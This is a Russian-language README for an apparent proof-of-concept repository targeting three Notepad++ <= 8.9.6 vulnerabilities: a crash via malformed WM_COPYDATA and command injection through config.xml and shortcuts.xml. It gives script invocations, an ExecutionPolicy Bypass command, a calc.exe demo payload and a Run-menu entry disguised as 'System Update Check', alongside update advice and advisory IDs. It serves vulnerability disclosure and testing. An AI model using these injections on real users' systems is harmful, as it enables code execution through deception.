PoC-скрипты для Notepad++

CVE-2026-48770 / CVE-2026-48778 / CVE-2026-48800

PoC-скрипты для трёх уязвимостей в Notepad++ <= 8.9.6, исправленных в v8.9.6.1 (2026-05-26).

Демо CVE-2026-48778 - Файл → Открыть папку с файлом → cmd запускает RCE

Уязвимости

CVE	Тип	CVSS	Воздействие
CVE-2026-48770	OOB-чтение через `WM_COPYDATA`	5.0	DoS / Падение
CVE-2026-48778	Внедрение команд ОС через `config.xml`	7.8	RCE
CVE-2026-48800	Внедрение команд ОС через `shortcuts.xml`	7.8	RCE

Требования

Windows 10/11 (рекомендуется ВМ)
Установлен Notepad++ <= 8.9.6 и не обновлён
Python 3.x (для .py-скриптов)
PowerShell (встроенный, для .ps1-скриптов)

Структура файлов

.
├── README.md
├── poc_CVE-2026-48770.py                    # OOB read crash (ctypes)
├── poc_CVE-2026-48778.py                    # RCE via config.xml
├── poc_CVE-2026-48800.py                    # RCE via shortcuts.xml
└── payloads/
    ├── config.xml                           # Drop-in payload (CVE-2026-48778)
    ├── shortcuts.xml                        # Drop-in payload (CVE-2026-48800)
    └── poc_CVE-2026-48770.ps1               # OOB read crash (PowerShell)

CVE-2026-48770 - OOB-чтение через WM_COPYDATA

Локальный процесс в том же сеансе Windows отправляет специально сформированное сообщение WM_COPYDATA (dwData=3) без NUL-терминатора. Обработчик читает данные за пределами буфера, что приводит к нарушению прав доступа (0xc0000005) и падению Notepad++.

Триггер: Notepad++ должен быть открыт.

PowerShell:

# From payloads\
powershell -ExecutionPolicy Bypass -File poc_CVE-2026-48770.ps1

Python:

python poc_CVE-2026-48770.py

Ожидаемый вывод:

[+] Found Notepad++ HWND: 0x000A08B4
[*] Sending malformed WM_COPYDATA (dwData=3, cbData=8192, no NUL terminator)...
[+] SendMessageTimeout returned 0 - Notepad++ likely crashed (OOB read -> 0xc0000005)

Окно Notepad++ исчезает. Может сработать WER (Windows Error Reporting — служба отчётов об ошибках Windows).

CVE-2026-48778 - RCE через config.xml

Файл %APPDATA%\Notepad++\config.xml считывается при запуске. Значение <GUIConfig name="commandLineInterpreter"> передаётся напрямую в ShellExecute() без проверки. Заменив его на любой исполняемый файл, можно добиться RCE, когда пользователь нажимает Файл → Открыть папку с файлом → cmd.

Способ A - Python-скрипт (рекомендуется)

# Inject (backs up original automatically)
python poc_CVE-2026-48778.py --mode direct --payload calc.exe

# Trigger: open Notepad++ -> File -> Open Containing Folder -> cmd
# calc.exe launches instead of cmd.exe

# Restore
python poc_CVE-2026-48778.py --mode direct --restore

Способ B - замена XML-файла

copy payloads\config.xml %APPDATA%\Notepad++\config.xml
# Open Notepad++ -> File -> Open Containing Folder -> cmd

Способ C - settingsDir (без записи в AppData)

python poc_CVE-2026-48778.py --mode settingsdir --payload calc.exe
# Prints the notepad++.exe -settingsDir= launch command
# Trigger: File -> Open Containing Folder -> cmd

CVE-2026-48800 - RCE через shortcuts.xml

Файл %APPDATA%\Notepad++\shortcuts.xml считывается при запуске. Записи <Command> в разделе <UserDefinedCommands> добавляются в меню Выполнить и передаются напрямую в ShellExecute() без проверки. Управляемая атакующим запись выполняется по клику.

Способ A - Python-скрипт (рекомендуется)

# Inject (backs up original automatically)
python poc_CVE-2026-48800.py --mode direct --payload calc.exe --name "System Update Check"

# Trigger: close and reopen Notepad++ -> Run menu -> "System Update Check"
# calc.exe launches

# Restore
python poc_CVE-2026-48800.py --mode direct --restore

Способ B - замена XML-файла

copy payloads\shortcuts.xml %APPDATA%\Notepad++\shortcuts.xml
# Restart Notepad++ -> Run menu -> "System Update Check"

Способ C - settingsDir (без записи в AppData)

python poc_CVE-2026-48800.py --mode settingsdir --payload calc.exe
# Prints the notepad++.exe -settingsDir= launch command
# Trigger: Run menu -> "System Update Check"

Устранение уязвимости

Обновите Notepad++ до v8.9.6.1 или новее.
Скачать: https://notepad-plus-plus.org/downloads/

Ссылки на бюллетени

CVE	Бюллетень
CVE-2026-48770	GHSA-r39g-3mcw-xcg2
CVE-2026-48778	GHSA-7hm3-wp5q-ccv9
CVE-2026-48800	GHSA-3x3f-3j39-pj3v

Только для исследовательских целей и авторизованного тестирования.

Notepad-8.9.6-PoC

Популярное